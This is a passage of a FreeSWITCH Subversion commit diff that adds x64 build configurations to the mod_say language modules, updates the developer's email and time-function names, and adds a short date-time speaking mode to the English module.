+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_de/mod_say_de.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  * Daniel Swarbrick <daniel.swarbrick@gmail.com>
  *
@@ -303,7 +303,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -361,7 +361,7 @@
 	if ((t = atoi(tosay)) > 0) {
 		target = switch_time_make(t, 0);
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, target);
 

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_en


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
Makefile
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_en/mod_say_en.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  *
  * mod_say_en.c -- Say for English
@@ -101,7 +101,11 @@
 
 	if (b) {
 		if (b > 1) {
-			say_file("digits/%d0.wav", b);
+		   if ((c==0) && (method == SSM_COUNTED)) {
+		     say_file("digits/h-%d0.wav", b);
+		   } else {
+		     say_file("digits/%d0.wav", b);
+		   }
 		} else {
 			say_file("digits/%d%d.wav", b, c);
 			c = 0;
@@ -263,9 +267,9 @@
 								   switch_input_args_t *args)
 {
 	int32_t t;
-	switch_time_t target = 0;
-	switch_time_exp_t tm;
-	uint8_t say_date = 0, say_time = 0;
+	switch_time_t target = 0, target_now = 0;
+	switch_time_exp_t tm, tm_now;
+	uint8_t say_date = 0, say_time = 0, say_year = 0, say_month = 0, say_dow = 0, say_day = 0, say_yesterday = 0, say_today = 0;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	const char *tz = switch_channel_get_variable(channel, "timezone");
 	
@@ -294,7 +298,7 @@
 			}
 		} else {
 			if ((seconds = atol(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -351,19 +355,24 @@
 
 	if ((t = atol(tosay)) > 0) {
 		target = switch_time_make(t, 0);
+		target_now = switch_micro_time_now();
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
+		target_now = switch_micro_time_now();
 	}
 	
 	if (tz) {
 		int check = atoi(tz);
 		if (check) {
 			switch_time_exp_tz(&tm, target, check);
+			switch_time_exp_tz(&tm_now, target_now, check);
 		} else {
 			switch_time_exp_tz_name(tz, &tm, target);
+			switch_time_exp_tz_name(tz, &tm_now, target_now);
 		}
 	} else {
 		switch_time_exp_lt(&tm, target);
+		switch_time_exp_lt(&tm_now, target_now);
 	}
 
 	switch (type) {
@@ -376,20 +385,68 @@
 	case SST_CURRENT_TIME:
 		say_time = 1;
 		break;
+	case SST_SHORT_DATE_TIME:
+		say_time = 1;
+		if (tm.tm_year != tm_now.tm_year) {
+			say_date = 1;
+			break;
+		}
+		if (tm.tm_yday == tm_now.tm_yday) {
+			say_today = 1;
+			break;
+		}
+		if (tm.tm_yday == tm_now.tm_yday - 1) {
+			say_yesterday = 1;
+			break;
+		}
+		if (tm.tm_yday >= tm_now.tm_yday - 5) {
+			say_dow = 1;
+			break;
+		}
+		if (tm.tm_mon != tm_now.tm_mon) {
+			say_month = say_day = say_dow = 1;
+			break;
+		}
+
+		say_month = say_day = say_dow = 1;
+		
+		break;
 	default:
 		break;
 	}
 
+	if (say_today) {
+		say_file("time/today.wav");
+	}
+	if (say_yesterday) {
+		say_file("time/yesterday.wav");
+	}
+	if (say_dow) {
+		say_file("time/day-%d.wav", tm.tm_wday);
+	}
+
 	if (say_date) {
-		say_file("time/day-%d.wav", tm.tm_wday);
+		say_year = say_month = say_day = say_dow = 1;
+		say_today = say_yesterday = 0;
+	}
+
+	if (say_month) {
 		say_file("time/mon-%d.wav", tm.tm_mon);
+	}
+	if (say_day) {
 		say_num(tm.tm_mday, SSM_COUNTED);
+	}
+	if (say_year) {
 		say_num(tm.tm_year + 1900, SSM_PRONOUNCED);
 	}
 
 	if (say_time) {
 		int32_t hour = tm.tm_hour, pm = 0;
 
+		 if (say_date || say_today || say_yesterday || say_dow) {
+			say_file("time/at.wav");
+		 }
+
 		if (hour > 12) {
 			hour -= 12;
 			pm = 1;
@@ -495,6 +552,7 @@
 	case SST_CURRENT_DATE:
 	case SST_CURRENT_TIME:
 	case SST_CURRENT_DATE_TIME:
+	case SST_SHORT_DATE_TIME:
 		say_cb = en_say_time;
 		break;
 	case SST_IP_ADDRESS:

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_es


Name: svn:ignore
   - Makefile
mod_say_es.so
.libs
Debug
*.pdb
*.user
Release
debug
   + Makefile
mod_say_es.so
.libs
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_es/mod_say_es.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  *
  * mod_say_es.c -- Say for English
@@ -292,7 +292,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -350,7 +350,7 @@
 	if ((t = atoi(tosay)) > 0) {
 		target = switch_time_make(t, 0);
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, target);
 

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_fr


Name: svn:ignore
   - mod_say_fr.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
   + mod_say_fr.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_fr/mod_say_fr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  *
  * mod_say_fr.c -- Say for English
@@ -292,7 +292,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -350,7 +350,7 @@
 	if ((t = atoi(tosay)) > 0) {
 		target = switch_time_make(t, 0);
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, target);
 

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_it


Name: svn:ignore
   - mod_say_it.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
   + mod_say_it.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -138,6 +205,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_it/mod_say_it.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -31,13 +31,13 @@
  * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael B. Murdock <mike@mmurdock.org>
  *
  * mod_say_it.c -- Say for English
@@ -292,7 +292,7 @@
 			}
 		} else {
 			if ((seconds = atoi(tosay)) <= 0) {
-				seconds = (int64_t) switch_timestamp(NULL);
+				seconds = (int64_t) switch_epoch_time_now(NULL);
 			}
 
 			if (seconds >= 60) {
@@ -350,7 +350,7 @@
 	if ((t = atoi(tosay)) > 0) {
 		target = switch_time_make(t, 0);
 	} else {
-		target = switch_timestamp_now();
+		target = switch_micro_time_now();
 	}
 	switch_time_exp_lt(&tm, target);
 

Property changes: freeswitch/branches/seven/src/mod/say/mod_say_nl


Name: svn:ignore
   - mod_say_nl.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
   + mod_say_nl.so
.libs
Makefile
Debug
Release
*.pdb
*.user
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/say/mod_say_nl/mod_say_nl.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
